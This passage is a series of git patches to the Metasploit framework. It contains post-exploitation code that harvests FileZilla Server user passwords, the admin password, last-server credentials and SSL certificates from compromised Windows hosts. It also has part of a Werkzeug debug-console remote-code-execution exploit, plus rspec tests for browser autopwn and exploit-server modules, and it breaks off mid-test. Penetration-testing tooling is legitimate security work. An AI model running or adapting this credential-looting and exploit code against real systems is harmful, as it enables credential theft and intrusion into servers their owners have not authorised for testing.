-166,22 +179,63 @@ class Metasploit3 < Msf::Post # Assemble the options hash for creating the Metasploit::Credential::Login object login_data ={ - core: credential_core, - status: Metasploit::Model::Login::Status::UNTRIED + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED } # Merge in the service data and create our Login login_data.merge!(service_data) login = create_credential_login(login_data) - end perms.each do |perm| - permissions << [perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'], perm['filedelete'], perm['fileappend'], - perm['dircreate'], perm['dirdelete'], perm['dirlist'], perm['dirsubdirs'], perm['autocreate'], perm['home']] + permissions << [perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'], perm['filedelete'], perm['fileappend'], + perm['dircreate'], perm['dirdelete'], perm['dirlist'], perm['dirsubdirs'], perm['autocreate'], perm['home']] + end + + configuration << [config['ftp_port'], config['ftp_bindip'], ['admin_port'], config['admin_bindip'], config['admin_pass'], + config['ssl'], config['ssl_certfile'], config['ssl_keypass']] + + session.db_record ? (source_id = session.db_record.id) : (source_id = nil) + + # report the goods! + if config['ftp_port'] == "<none>" + vprint_status("Detected Default Adminstration Settings:") + config['ftp_port'] = "21" + else + vprint_status("Collected the following configuration details:") + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: config['admin_port'], + service_name: 'filezilla-admin', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: config['admin_pass'], + username: 'admin' + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) end - vprint_status(" Collected the following configuration details:") vprint_status(" FTP Port: %s" % config['ftp_port']) vprint_status(" FTP Bind IP: %s" % config['ftp_bindip']) vprint_status(" SSL: %s" % config['ssl']) @@ -190,104 +244,69 @@ class Metasploit3 < Msf::Post vprint_status(" Admin Pass: %s" % config['admin_pass']) vprint_line("") - configuration << [config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'], config['admin_pass'], - config['ssl'], config['ssl_certfile'], config['ssl_keypass']] - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - # report the goods! - if config['admin_port'] == "<none>" - vprint_status("(No admin information found.)") - else - service_data = { - address: ::Rex::Socket.getaddress(session.sock.peerhost, true), - port: config['admin_port'], - service_name: 'filezilla-admin', - protocol: 'tcp', - workspace_id: myworkspace_id - } + lastser = parse_interface(fsi_xml) + lastserver << [lastser['ip'], lastser['port'], lastser['password']] - credential_data = { - origin_type: :session, - session_id: session_db_id, - post_reference_name: self.refname, - private_type: :password, - private_data: config['admin_pass'], - username: 'admin' - } - - credential_data.merge!(service_data) - - credential_core = create_credential(credential_data) - - # Assemble the options hash for creating the Metasploit::Credential::Login object - login_data ={ - core: credential_core, - status: Metasploit::Model::Login::Status::UNTRIED - } - - # Merge in the service data and create our Login - login_data.merge!(service_data) - login = create_credential_login(login_data) - - end + vprint_status("Last Server Information:") + vprint_status(" IP: %s" % lastser['ip']) + vprint_status(" Port: %s" % lastser['port']) + vprint_status(" Password: %s" % lastser['password']) + vprint_line("") p = store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv, "filezilla_server_credentials.csv", "FileZilla FTP Server Credentials") - print_status("Credentials saved in: #{p.to_s}") p = store_loot("filezilla.server.perms", "text/csv", session, permissions.to_csv, "filezilla_server_permissions.csv", "FileZilla FTP Server Permissions") - print_status("Permissions saved in: #{p.to_s}") p = store_loot("filezilla.server.config", "text/csv", session, configuration.to_csv, "filezilla_server_configuration.csv", "FileZilla FTP Server Configuration") + print_status(" Config saved in: #{p.to_s}") - print_status("Config saved in: #{p.to_s}") + p = store_loot("filezilla.server.lastser", "text/csv", session, lastserver.to_csv, + "filezilla_server_lastserver.csv", "FileZilla FTP Last Server") + print_status(" Last server history: #{p.to_s}") + + print_line("") end + def parse_server(data) - creds = [] - perms = [] + creds = [] + perms = [] settings = {} users = 0 passwords = 0 groups = [] perm = {} - doc = REXML::Document.new(data).root + begin + doc = REXML::Document.new(data).root + rescue REXML::ParseException => e + print_error("Invalid xml format") + end - items = doc.elements.to_a("//Settings//Item/") - settings['ftp_port'] = items[0].text rescue "<none>" - settings['admin_port'] = items[16].text rescue "<none>" - settings['admin_pass'] = items[17].text rescue "<none>" - settings['local_host'] = items[18].text rescue "" - settings['bindip'] = items[38].text rescue "" - settings['ssl'] = items[42].text rescue "" - - if settings['local_host'] # empty means localhost only * is 0.0.0.0 - settings['admin_bindip'] = settings['local_host'] + opt = doc.elements.to_a("Settings/Item") + if opt[1].nil? # Default value will only have a single line, for admin port - no adminstration settings + settings['admin_port'] = opt[0].text rescue "<none>" + settings['ftp_port'] = "<none>" else - settings['admin_bindip'] = "127.0.0.1" - end - if settings['admin_bindip'] == "*" - settings['admin_bindip'] = "0.0.0.0" + settings['ftp_port'] = opt[0].text rescue "<none>" + settings['admin_port'] = opt[16].text rescue "<none>" end + settings['admin_pass'] = opt[17].text rescue "<none>" + settings['local_host'] = opt[18].text rescue "" + settings['bindip'] = opt[38].text rescue "" + settings['ssl'] = opt[42].text rescue "" - if settings['bindip'] - settings['ftp_bindip'] = settings['bindip'] - else - settings['ftp_bindip'] = "127.0.0.1" - end + # empty means localhost only * is 0.0.0.0 + settings['local_host'] ? (settings['admin_bindip'] = settings['local_host']) : (settings['admin_bindip'] = "127.0.0.1") + settings['admin_bindip'] = "0.0.0.0" if settings['admin_bindip'] == "*" or settings['admin_bindip'].empty? - # make the bindip a little easier to understand - if settings['ftp_bindip'] == "*" - settings['ftp_bindip'] = "0.0.0.0" - end + settings['bindip'] ? (settings['ftp_bindip'] = settings['bindip']) : (settings['ftp_bindip'] = "127.0.0.1") + settings['ftp_bindip'] = "0.0.0.0" if settings['ftp_bindip'] == "*" or settings['ftp_bindip'].empty? if settings['ssl'] == "1" settings['ssl'] = "true" @@ -299,7 +318,7 @@ class Metasploit3 < Msf::Post end settings['ssl_certfile'] = items[45].text rescue "<none>" - if settings['ssl_certfile'] != "<none>" and settings['ssl'] == "true" and datastore['SSLCERT'] # lets get the file if its there could be useful in MITM attacks + if settings['ssl_certfile'] != "<none>" and settings['ssl'] == "true" and datastore['SSLCERT'] # lets get the file if its there could be useful in MITM attacks sslfile = session.fs.file.new(settings['ssl_certfile']) until sslfile.eof? sslcert << sslfile.read @@ -309,30 +328,27 @@ class Metasploit3 < Msf::Post print_status("Looted SSL Certificate File") end - if settings['ssl_certfile'].nil? - settings['ssl_certfile'] = "<none>" - end + settings['ssl_certfile'] = "<none>" if settings['ssl_certfile'].nil? settings['ssl_keypass'] = items[50].text rescue "<none>" + settings['ssl_keypass'] = "<none>" if settings['ssl_keypass'].nil? - if settings['ssl_keypass'].nil? - settings['ssl_keypass'] = "<none>" - end + vprint_status("Collected the following credentials:") if !doc.elements['Users'].nil? - doc.elements['Users'].elements.each('User') do |user| + doc.elements.each("Users/User") do |user| account = {} - account['user'] = user.attributes['Name'] rescue "<none>" - users += 1 - opt = user.elements.to_a("//User//Option/") + opt = user.elements.to_a("Option") + account['user'] = user.attributes['Name'] rescue "<none>" account['password'] = opt[0].text rescue "<none>" - account['group'] = opt[1].text rescue "<none>" + account['group'] = opt[1].text rescue "<none>" + users += 1 passwords += 1 groups << account['group'] - user.elements.to_a("//User//Permissions//Permission").each do |permission| - perm['user'] = account['user'] # give some context as to which user has these permissions + user.elements.to_a("Permissions/Permission").each do |permission| + opt = permission.elements.to_a("Option") + perm['user'] = account['user'] # give some context as to which user has these permissions perm['dir'] = permission.attributes['Dir'] - opt = permission.elements.to_a("//User//Permissions//Permission//Option") perm['fileread'] = opt[0].text rescue "<unknown>" perm['filewrite'] = opt[1].text rescue "<unknown>" perm['filedelete'] = opt[2].text rescue "<unknown>" @@ -343,18 +359,14 @@ class Metasploit3 < Msf::Post perm['dirsubdirs'] = opt[7].text rescue "<unknown>" perm['autocreate'] = opt[9].text rescue "<unknown>" - if opt[8].text == "1" - perm['home'] = "true" - else - perm['home'] = "false" - end + opt[8].text == "1" ? (perm['home'] = "true") : (perm['home'] = "false") + perms << perm - end - user.elements.to_a("//User//IpFilter//Allowed").each do |allowed| + user.elements.to_a("IpFilter/Allowed").each do |allowed| end - user.elements.to_a("//User//IpFilter//Disallowed").each do |disallowed| + user.elements.to_a("IpFilter/Disallowed").each do |disallowed| end account['host'] = settings['ftp_bindip'] @@ -363,16 +375,16 @@ class Metasploit3 < Msf::Post account['ssl'] = settings['ssl'] creds << account - vprint_status(" Collected the following credentials:") vprint_status(" Username: %s" % account['user']) vprint_status(" Password: %s" % account['password']) - vprint_status(" Group: %s" % account['group']) + vprint_status(" Group: %s" % account['group']) if account['group'] != nil vprint_line("") end + # Rather than printing out all the values, just count up groups = groups.uniq unless groups.uniq.nil? if !datastore['VERBOSE'] - print_status(" Collected the following credentials:") + print_status("Collected the following credentials:") print_status(" Usernames: %u" % users) print_status(" Passwords: %u" % passwords) print_status(" Groups: %u" % groups.length) @@ -381,6 +393,28 @@ class Metasploit3 < Msf::Post return [creds, perms, settings] end + + def parse_interface(data) + lastser = {} + + begin + doc = REXML::Document.new(data).root + rescue REXML::ParseException => e + print_error("Invalid xml format") + end + + opt = doc.elements.to_a("Settings/Item") + + lastser['ip'] = opt[0].text rescue "<none>" + lastser['port'] = opt[1].text rescue "<none>" + lastser['password'] = opt[2].text rescue "<none>" + + lastser['password'] = "<none>" if lastser['password'] == nil + + return lastser + end + + def got_root? if session.sys.config.getuid =~ /SYSTEM/ return true @@ -388,6 +422,7 @@ class Metasploit3 < Msf::Post return false end + def whoami return session.sys.config.getenv('USERNAME') end From 14d0d456f4d115350196fdea49f2ca7abd388068 Mon Sep 17 00:00:00 2001 From: g0tmi1k <have.you.g0tmi1k@gmail.com> Date: Sat, 11 Jul 2015 19:11:59 +0100 Subject: [PATCH 0735/1013] Fix FileZilla perm loot bug --- .../gather/credentials/filezilla_server.rb | 26 ++++++++++--------- 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/modules/post/windows/gather/credentials/filezilla_server.rb b/modules/post/windows/gather/credentials/filezilla_server.rb index cfe83760cc..19147e2349 100644 --- a/modules/post/windows/gather/credentials/filezilla_server.rb +++ b/modules/post/windows/gather/credentials/filezilla_server.rb @@ -134,6 +134,7 @@ class Metasploit3 < Msf::Post "Password" ]) + paths.each do|path| file = session.fs.file.new(path, "rb") until file.eof? @@ -193,9 +194,6 @@ class Metasploit3 < Msf::Post perm['dircreate'], perm['dirdelete'], perm['dirlist'], perm['dirsubdirs'], perm['autocreate'], perm['home']] end - configuration << [config['ftp_port'], config['ftp_bindip'], ['admin_port'], config['admin_bindip'], config['admin_pass'], - config['ssl'], config['ssl_certfile'], config['ssl_keypass']] - session.db_record ? (source_id = session.db_record.id) : (source_id = nil) # report the goods! @@ -244,6 +242,10 @@ class Metasploit3 < Msf::Post vprint_status(" Admin Pass: %s" % config['admin_pass']) vprint_line("") + configuration << [config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'], config['admin_pass'], + config['ssl'], config['ssl_certfile'], config['ssl_keypass']] + + lastser = parse_interface(fsi_xml) lastserver << [lastser['ip'], lastser['port'], lastser['password']] @@ -274,13 +276,12 @@ class Metasploit3 < Msf::Post def parse_server(data) - creds = [] - perms = [] - settings = {} - users = 0 - passwords = 0 + creds = [] + perms = [] groups = [] - perm = {} + settings = {} + users = 0 + passwords = 0 begin doc = REXML::Document.new(data).root @@ -346,9 +347,10 @@ class Metasploit3 < Msf::Post groups << account['group'] user.elements.to_a("Permissions/Permission").each do |permission| + perm = {} opt = permission.elements.to_a("Option") - perm['user'] = account['user'] # give some context as to which user has these permissions - perm['dir'] = permission.attributes['Dir'] + perm['user'] = user.attributes['Name'] rescue "<unknown>" + perm['dir'] = permission.attributes['Dir'] rescue "<unknown>" perm['fileread'] = opt[0].text rescue "<unknown>" perm['filewrite'] = opt[1].text rescue "<unknown>" perm['filedelete'] = opt[2].text rescue "<unknown>" @@ -358,6 +360,7 @@ class Metasploit3 < Msf::Post perm['dirlist'] = opt[6].text rescue "<unknown>" perm['dirsubdirs'] = opt[7].text rescue "<unknown>" perm['autocreate'] = opt[9].text rescue "<unknown>" + perm['host'] = settings['ftp_bindip'] opt[8].text == "1" ? (perm['home'] = "true") : (perm['home'] = "false") @@ -370,7 +373,6 @@ class Metasploit3 < Msf::Post end account['host'] = settings['ftp_bindip'] - perm['host'] = settings['ftp_bindip'] account['port'] = settings['ftp_port'] account['ssl'] = settings['ssl'] creds << account From a4dc409c126353a74e1808e3812618b0ea46c449 Mon Sep 17 00:00:00 2001 From: g0tmi1k <have.you.g0tmi1k@gmail.com> Date: Sat, 11 Jul 2015 19:37:45 +0100 Subject: [PATCH 0736/1013] Add empty default vprint value --- lib/msf/core/module/ui/line/verbose.rb | 4 ++-- lib/msf/core/module/ui/message/verbose.rb | 10 +++++----- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/module/ui/line/verbose.rb b/lib/msf/core/module/ui/line/verbose.rb index 399ef5c82b..cab61ff858 100644 --- a/lib/msf/core/module/ui/line/verbose.rb +++ b/lib/msf/core/module/ui/line/verbose.rb @@ -1,6 +1,6 @@ module Msf::Module::UI::Line::Verbose # Verbose version of #print_line - def vprint_line(msg) + def vprint_line(msg='') print_line(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] end -end \ No newline at end of file +end diff --git a/lib/msf/core/module/ui/message/verbose.rb b/lib/msf/core/module/ui/message/verbose.rb index 577a3293d1..1a8d0175b9 100644 --- a/lib/msf/core/module/ui/message/verbose.rb +++ b/lib/msf/core/module/ui/message/verbose.rb @@ -1,21 +1,21 @@ module Msf::Module::UI::Message::Verbose # Verbose version of #print_error - def vprint_error(msg) + def vprint_error(msg='') print_error(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] end # Verbose version of #print_good - def vprint_good(msg) + def vprint_good(msg='') print_good(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] end # Verbose version of #print_status - def vprint_status(msg) + def vprint_status(msg='') print_status(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] end # Verbose version of #print_warning - def vprint_warning(msg) + def vprint_warning(msg='') print_warning(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] end -end \ No newline at end of file +end From d795b2f831775c1ba83606918292fa7fd9e91f86 Mon Sep 17 00:00:00 2001 From: g0tmi1k <have.you.g0tmi1k@gmail.com> Date: Sat, 11 Jul 2015 19:40:21 +0100 Subject: [PATCH 0737/1013] Module cleanup --- modules/auxiliary/scanner/http/jenkins_enum.rb | 2 +- modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb | 2 +- modules/post/multi/manage/dbvis_add_db_admin.rb | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_enum.rb b/modules/auxiliary/scanner/http/jenkins_enum.rb index 099f7eca03..8a5a866338 100644 --- a/modules/auxiliary/scanner/http/jenkins_enum.rb +++ b/modules/auxiliary/scanner/http/jenkins_enum.rb @@ -221,6 +221,6 @@ class Metasploit3 < Msf::Auxiliary # Report a jenkins information note for future analysis, tied to this service report_note(:host => rhost, :port => rport, :proto => 'tcp', :ntype => 'jenkins.info', :data => jinfo) - vprint_line('') + vprint_line end end diff --git a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb index a46d2ab2ec..82b8f3d7f4 100644 --- a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb +++ b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb @@ -118,7 +118,7 @@ class Metasploit3 < Msf::Auxiliary return end - vprint_line("") + vprint_line vprint_line(res.body) f = ::File.basename(fname) diff --git a/modules/post/multi/manage/dbvis_add_db_admin.rb b/modules/post/multi/manage/dbvis_add_db_admin.rb index a361bf1886..eb8d5f1956 100644 --- a/modules/post/multi/manage/dbvis_add_db_admin.rb +++ b/modules/post/multi/manage/dbvis_add_db_admin.rb @@ -208,7 +208,7 @@ class Metasploit3 < Msf::Post dbvis = "\"#{dbvis}\"" cmd = "#{dbvis} #{args}" resp = cmd_exec(cmd) - vprint_line("") + vprint_line vprint_status("#{resp}") if resp =~ /denied|failed/i error = true From b2d723e4a3083d4a4d5c0fe937deef7cd17a167d Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 11 Jul 2015 19:13:20 -0500 Subject: [PATCH 0738/1013] Rspec --- .../core/exploit/browser_autopwnv2_spec.rb | 68 +++++++++++++++++-- 1 file changed, 63 insertions(+), 5 deletions(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb index 8b87348d19..b49b151d8e 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -11,7 +11,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do def mock_note_destroy - # The destory method doesn't pass the note as an argument like framework.jobs_stop_job. + # The destory method doesn't pass the note as an argument startlike framework.jobs_stop_job. # So here's I'm just gonna clear them all, and that sort of mimics #destroy. framework = double('Msf::Framework', datastore: {}) @@ -91,6 +91,19 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do mod end + def create_fake_multi_handler + compat_payloads = [ + [windows_meterpreter_reverse_tcp, create_fake_windows_meterpreter] + ] + + create_fake_exploit( + full_name: 'multi/handler', + short_name: 'multi/handler', + compat_payloads: compat_payloads, + job_id: 0, + ) + end + def create_fake_ms14_064 compat_payloads = [ [windows_meterpreter_reverse_tcp, create_fake_windows_meterpreter] @@ -168,6 +181,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do allow(p).to receive(:fullname).and_return(fullname) allow(p).to receive(:shoftname).and_return(shortname) allow(p).to receive(:workspace).and_return(workspace) + allow(p).to receive(:exploit_simple) p end @@ -238,6 +252,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do exploits << create_fake_ms14_064 exploits << create_fake_flash_uncompress_zlib_uaf exploits << create_fake_flash_net_connection_confusion + exploits << create_fake_multi_handler exploits }.call @@ -382,6 +397,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do mod.send(:initialize) mod.send(:datastore=, autopwn_datastore_options) allow(mod).to receive(:fullname).and_return('multi/browser/autopwn') + allow(mod).to receive(:datastore).and_return(autopwn_datastore_options) mod end @@ -561,7 +577,30 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - skip '#start_payload_listeners' do + describe '#start_payload_listeners' do + let(:active_payload) do + create_fake_windows_meterpreter + end + + let(:wanted_payloads) do + [{ + payload_name: active_payload.fullname, + payload_lport: active_payload.datastore['LPORT'] + }] + end + + before(:each) do + subject.instance_variable_set(:@wanted_payloads, wanted_payloads) + subject.instance_variable_set(:@payload_job_ids, []) + end + + context 'when a payload is listening' do + it 'adds the job ID to the payload job ID list' do + expect(subject.instance_variable_get(:@payload_job_ids).length).to eq(0) + subject.start_payload_listeners + expect(subject.instance_variable_get(:@payload_job_ids).length).to eq(1) + end + end end describe '#parse_rank' do @@ -656,8 +695,20 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - skip '#select_payload' do - + describe '#select_payload' do + before(:each) do + subject.instance_variable_set(:@wanted_payloads, []) + end + + context 'when a ms14_064 is given' do + it 'returns a windows payload' do + m = create_fake_ms14_064 + expected_payload = m.compatible_payloads.first.first + selected_payload = subject.select_payload(m) + expect(selected_payload.length).to eq(1) + expect(selected_payload.first[:payload_name]).to eq(expected_payload) + end + end end describe '#start_exploits' do @@ -724,7 +775,14 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end skip '#start_service' do - # You got me, I don't know how to implement this one because the super" + it 'prints the BrowserAutopwn URL' do + # This code blows up, por que?? + # 3 threads exist(s) when only 1 thread expected after suite runs + allow_any_instance_of(Msf::Exploit::Remote::BrowserExploitServer).to receive(:super) + allow(subject).to receive(:show_ready_exploits) + allow_any_instance_of(Rex::Socket).to receive(:source_address).and_return(nil) + subject.start_service + end end end From 881967452285c408f6545acd3a2fd6519e345096 Mon Sep 17 00:00:00 2001 From: h00die <mike@shorebreaksecurity.com> Date: Sat, 11 Jul 2015 21:03:02 -0400 Subject: [PATCH 0739/1013] updated per feedback from PR --- modules/exploits/multi/http/werkzeug_debug_rce.rb | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index 3a9433fcf7..3ed9af96a4 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -19,7 +19,8 @@ class Metasploit4 < Msf::Exploit::Remote machines", but sometimes slips passed testing. Tested against: 0.9.6 on Debian - 0.10 on CentOS + 0.9.6 on Centos + 0.10 on Debian }, 'Author' => 'h00die <mike[at]shorebreaksecurity.com>', 'References' => @@ -45,8 +46,8 @@ class Metasploit4 < Msf::Exploit::Remote 'method' => 'GET', 'uri' => normalize_uri(datastore['URI']) }) - #https://github.com/mitsuhiko/werkzeug/blob/master/werkzeug/debug/tbtools.py#L67 - if (res and res.body =~ /Brought to you by <strong class="arthur">DON'T PANIC<\/strong>, your\n friendly Werkzeug powered traceback interpreter./) + #https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67 + if res and res.body =~ /Werkzeug powered traceback interpreter/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe @@ -54,12 +55,12 @@ class Metasploit4 < Msf::Exploit::Remote def exploit #first we need to get the SECRET code - secret = send_request_cgi({ + res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['URI']) }) - if (secret and secret.body =~ /SECRET = "([a-zA-Z0-9]{20})";/) - secret = secret.body.match(/SECRET = "([a-zA-Z0-9]{20})";/).captures[0] + if res and res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/ + secret = res.body.match(/SECRET = "([a-zA-Z0-9]{20})";/).captures[0] vprint_status("Secret Code: #{secret}") res = send_request_cgi({ 'method' => 'GET', From 5a858d68a54e895113e74a31476b964b966d700a Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 11 Jul 2015 21:11:31 -0500 Subject: [PATCH 0740/1013] Add rspec for browser_profile_manager --- .../remote/browser_profile_manager_spec.rb | 51 +++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb diff --git a/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb b/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb new file mode 100644 index 0000000000..a771fff517 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb @@ -0,0 +1,51 @@ +require 'msf/core' + +describe Msf::Exploit::Remote::BrowserProfileManager do + + subject do + mod = Msf::Exploit::Remote.allocate + mod.extend described_class + mod + end + + let(:default_profile) do + { + 'PREFIX' => {'KEY'=>'VALUE'} + } + end + + before(:each) do + framework = double('framework') + allow(framework).to receive(:browser_profiles).and_return(default_profile) + allow_any_instance_of(described_class).to receive(:framework).and_return(framework) + end + + describe '#browser_profile_prefix' do + it 'raises a NoMethodError' do + expect{subject.browser_profile_prefix}.to raise_exception(NoMethodError) + end + end + + describe '#browser_profile' do + before(:each) do + allow(subject).to receive(:browser_profile_prefix).and_return('PREFIX') + end + + it 'returns a hash for the profile' do + expect(subject.browser_profile).to be_kind_of(Hash) + end + end + + describe '#clear_browser_profiles' do + before(:each) do + allow(subject).to receive(:browser_profile_prefix).and_return('PREFIX') + end + + it 'clears profile cache' do + expect(subject.browser_profile.length).to eq(1) + subject.clear_browser_profiles + expect(subject.browser_profile).to be_empty + end + end + +end \ No newline at end of file From eabf561a1f4d1b6f92f4fa860db47472486fdaf8 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 11 Jul 2015 22:16:10 -0500 Subject: [PATCH 0741/1013] Fix some BES rspec --- .../remote/browser_exploit_server_spec.rb | 170 +++++++++++++++--- 1 file changed, 141 insertions(+), 29 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 78efa7e5d8..075294b6e7 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -3,40 +3,38 @@ require 'msf/core' describe Msf::Exploit::Remote::BrowserExploitServer do - # When unpacked, this gives us: - # { - # "BAP.1433806920.Client.blLGFIlwYrxfvcY" => - # { - # "source" => "script", - # "os_name" => "Windows 8.1", - # "os_vendor" => "undefined", - # "os_device" => "undefined", - # "ua_name" => "Firefox", - # "ua_ver" => "35.0", - # "arch" => "x86", - # "java" => "1.7", - # "silverlight" => "false", - # "flash" => "14.0", - # "vuln_test" => "true", - # "proxy" => false, - # "language" => "en-US,en;q=0.5", - # "tried" => true, - # "activex" => [{"clsid"=>"{D27CDB6E-AE6D-11cf-96B8-444553540000}", "method"=>"LoadMovie"}] - # }} - let(:first_packed_profile) do - "\x81\xD9%BAP.1433806920.Client.blLGFIlwYrxfvcY\x8F\xA6source\xA6script\xA7os_name\xABWindows 8.1\xA9os_vendor\xA9undefined\xA9os_device\xA9undefined\xA7ua_name\xA7Firefox\xA6ua_ver\xA435.0\xA4arch\xA3x86\xA4java\xA31.7\xABsilverlight\xA5false\xA5flash\xA414.0\xA9vuln_test\xA4true\xA5proxy\xC2\xA8language\xC4\x0Een-US,en;q=0.5\xA5tried\xC3\xA7activex\x91\x82\xA5clsid\xD9&{D27CDB6E-AE6D-11cf-96B8-444553540000}\xA6method\xA9LoadMovie" + let(:in_memory_profile) do + { + "BAP.1433806920.Client.blLGFIlwYrxfvcY" => + { + source: "script", + os_name: "Windows 8.1", + os_vendor: "undefined", + os_device: "undefined", + ua_name: "Firefox", + ua_ver: "35.0", + arch: "x86", + java: "1.7", + silverlight: "false", + flash: "14.0", + vuln_test: "true", + proxy: false, + language: "en-US,en;q=0.5", + tried: true, + activex: [{"clsid"=>"{D27CDB6E-AE6D-11cf-96B8-444553540000}", "method"=>"LoadMovie"}] + }} end let(:default_note_type_prefix) do - MessagePack.unpack(first_packed_profile).keys.first.split('.')[0,3] * "." + in_memory_profile.keys.first.split('.')[0,3] * "." end let(:first_profile_tag) do - MessagePack.unpack(first_packed_profile).keys.first.split('.')[3] + in_memory_profile.keys.first.split('.')[3] end let(:first_profile_info) do - MessagePack.unpack(first_packed_profile).values.first + in_memory_profile.values.first end let(:cli) do @@ -46,6 +44,10 @@ describe Msf::Exploit::Remote::BrowserExploitServer do sock end + let(:shortname) do + 'browser_exploit_server' + end + def create_fake_note(tag, data) note = double('note') allow(note).to receive(:ntype).and_return(tag) @@ -57,7 +59,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do before(:each) do allow_any_instance_of(described_class).to receive(:vprint_status) - @notes = [create_fake_note(first_profile_tag, first_packed_profile)] + @notes = [create_fake_note(first_profile_tag, in_memory_profile)] end subject(:server) do @@ -65,6 +67,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do mod.extend described_class mod.send(:initialize) mod.send(:datastore=, {'NoteTypePrefix' => default_note_type_prefix}) + allow(mod).to receive(:shortname).and_return(shortname) mod end @@ -99,14 +102,14 @@ describe Msf::Exploit::Remote::BrowserExploitServer do describe '#has_bad_activex?' do context 'when there is a bad activex' do - let(:js_ax_value) { "#{first_profile_info['activex'][0][:clsid]}=>#{first_profile_info['activex'][0][:method]}=>false" } + let(:js_ax_value) { "#{first_profile_info[:activex][0][:clsid]}=>#{first_profile_info[:activex][0][:method]}=>false" } it 'returns false' do expect(server.has_bad_activex?(js_ax_value)).to be_truthy end end context 'when there is no bad activex' do - let(:js_ax_value) { "#{first_profile_info['activex'][0][:clsid]}=>#{first_profile_info['activex'][0][:method]}=>true" } + let(:js_ax_value) { "#{first_profile_info[:activex][0][:clsid]}=>#{first_profile_info[:activex][0][:method]}=>true" } it 'returns true' do expect(server.has_bad_activex?(js_ax_value)).to be_falsey end @@ -194,7 +197,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do describe '#on_request_uri' do before(:each) do - allow(server).to receive(:get_profile_info) { MessagePack.unpack(first_packed_profile) } + allow(server).to receive(:get_profile_info) { in_memory_profile } allow(server).to receive(:init_profile).with(kind_of(String)) allow(server).to receive(:update_profile) allow(server).to receive(:process_browser_info) @@ -260,4 +263,113 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end end + + describe '#browser_profile_prefix' do + it 'returns a BES prefix' do + expect(subject.browser_profile_prefix).to include(shortname) + end + end + + describe '#get_custom_404_url' do + let(:custom_404) do + 'http://example.com' + end + + before(:each) do + allow(subject).to receive(:datastore).and_return({'Custom404'=>custom_404}) + end + + context 'when a custom 404 URL is set' do + it 'returns the URL' do + expect(subject.get_custom_404_url).to eq(custom_404) + end + end + end + + describe '#get_module_uri' do + let(:exploit_receiver_page) do + 'exploit_receiver_page' + end + + before(:each) do + subject.instance_variable_set(:@exploit_receiver_page, exploit_receiver_page) + allow(subject).to receive(:get_uri).and_return('') + end + + it 'returns a module URI' do + 